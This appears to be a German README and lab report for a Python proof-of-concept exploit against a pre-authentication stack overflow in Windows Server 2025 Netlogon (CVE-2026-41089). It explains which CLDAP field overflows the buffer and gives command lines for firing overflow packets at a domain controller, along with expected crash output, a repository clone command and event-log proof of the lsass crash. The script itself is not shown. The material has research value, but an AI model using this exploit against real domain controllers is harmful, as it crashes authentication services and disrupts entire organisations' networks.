
CVE-2026-41089 LongLogon: Pre-Auth-CLDAP-Stack-Pufferüberlauf (UDP/389) zum Absturz von ungepatchtem Windows Server 2025 Netlogon (lsass 0xc0000409). Nur-Stdlib-Python-PoC + Laborbericht.
Pre-Authentifizierungs-Stack-Pufferüberlauf im Netlogon-Dienst von Windows Server 2025. Ein einziges CLDAP-Paket (UDP/389) von einem beliebigen Host im Netz genügt: lsass.exe stirbt mit STATUS_STACK_BUFFER_OVERRUN (0xc0000409) und der Domänencontroller startet neu.
Die Antwort auf einen Netlogon-CLDAP-Ping wird in einen 528-Byte-Stack-Puffer serialisiert. Der Server schreibt seine eigenen Namen (Forest, Domäne, Hostname) gefolgt vom angreiferkontrollierten User-Feld (begrenzt auf 130 Wide-Zeichen). Wenn die Gesamtfüllung 536 Bytes erreicht (Puffer + Stack-Cookie), überschreibt das abschließende L'\0' das /GS-Cookie und der Prozess stürzt ab.
Das NtVer-Feld bestimmt den Codepfad: 0x02 nimmt die verwundbare BuildSamLogonResponse, während 0x06 / 0x16 die begrenzte (sichere) BuildSamLogonResponseEx nehmen. Dieser PoC sendet NtVer = 0x02.
python3 longlogon_exploit.py <dc-ip> <dc-dns-domain> [--dry-run] [--shots N] [--confirm-wait S] [--force]
--dry-run Probe mit User=1 (harmlos), projizierte Füllung anzeigen, nicht feuern --shots N Anzahl der zu sendenden Overflow-Pakete (Standard 1) --confirm-wait S Wartezeit vor erneuter Probe nach einem stillen Schuss (Standard 75s) --force Feuern, auch wenn die projizierte Füllung unter 536 Bytes liegt
Beispiel (ersetzen Sie die IP und die Domäne durch Ihre Laborwerte):
python3 longlogon_exploit.py 192.168.1.10 cve202641089.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.example --dry-run
python3 longlogon_exploit.py 192.168.1.10 cve202641089.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.example
Erwartete Ausgabe des Feuerns:
[*] CVE-2026-41089 LongLogon crasher -> 192.168.1.10 (domain 64 chars)
[*] DC alive. Probe fill (User=1) = 323 B; projected fill (User=130) = 581 B (buffer 528, cookie 536)
[*] Firing overflow: NtVer=0x02, User=130 chars, shots=1
shot #1: NO REPLY (5.01 s) -> possible crash (or lost packet)
[*] Waiting 75 s to let the DC (re)start, then re-probing...
[+] DC STILL DOWN after overflow + re-probe -> CRASH LIKELY (reboot in progress or dump pending)
Exit-Codes: 0 Absturz wahrscheinlich, 1 DC still bei der initialen Probe, 2 Füllung unter 536 Bytes (grenzwertig), 3 DC hat überlebt.
Hinweis: Das Skript probt nach 75 Sekunden erneut, da ein einzelnes stilles Paket auch ein verlorenes UDP-Datagramm sein kann. Ziehen Sie aus Stille allein keine Rückschlüsse auf einen Absturz.
Verwenden Sie den offiziellen Checker aus dem Research-Repo. Er probt mit User=1, sodass der DC oben bleibt:
git clone https://github.com/ADScanPro/CVE-2026-41089-LongLogon && cd CVE-2026-41089-LongLogon
python3 run longlogon.py <dc-ip> <dc-dns-domain>
Erwartet: "PRECONDITION MET" mit einer projizierten Füllung von mindestens 536 Bytes.
Der Checker beweist nicht den Patch-Zustand: Ein gepatchter DC nimmt denselben Codepfad und verweigert einfach den überlangen Schreibvorgang. Prüfen Sie die netlogon.dll-Version direkt auf dem DC (< 10.0.26100.32772 = verwundbar).
Auf dem DC, sobald er wieder oben ist:
(Get-CimInstance Win32_OperatingSystem).LastBootUpTime
Get-WinEvent -FilterHashtable @{LogName='Application'; Id=1000} -MaxEvents 5
Suchen Sie nach Event 1000: fehlerhafte Anwendung lsass.exe, fehlerhaftes Modul netlogon.DLL, Ausnahmecode 0xc0000409 und eine Boot-Zeit, die später als der Schuss liegt.
Getestet auf Windows Server 2025, lsass.exe 10.0.26100.7309, netlogon.dll 10.0.26100.32230 (ungepatcht), 64-Zeichen-Domäne + 63-Zeichen-Hostname (projizierte Füllung 581 Bytes). Ein Paket gefeuert:
Application Error (Id 1000):
Faulting application: lsass.exe, version: 10.0.26100.7309
Faulting module: netlogon.DLL, version: 10.0.26100.32230
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
Fault offset: 0x000000000002399d
LastBootUpTime: 17:19:42 (crash logged at 17:18:37)
Dieser PoC wird ausschließlich für Bildungs- und Forschungszwecke bereitgestellt. Er wurde in einer isolierten Laborumgebung auf Windows Server 2025 entwickelt und getestet. Verwenden Sie ihn auf eigenes Risiko.
Durch die Verwendung dieses Skripts stimmen Sie zu, dass der Autor nicht für Datenverlust, Dienstunterbrechungen, Hardwareschäden oder andere direkte oder indirekte Folgen haftet. Der Absturz ist nicht idempotent: Der Ziel-Domänencontroller wird neu starten. Erstellen Sie vor dem Feuern einen Snapshot.
Es wird keine Gewährleistung dafür übernommen, dass dieser PoC in einer Produktionsumgebung oder auf allen Builds von Windows Server 2025 funktioniert.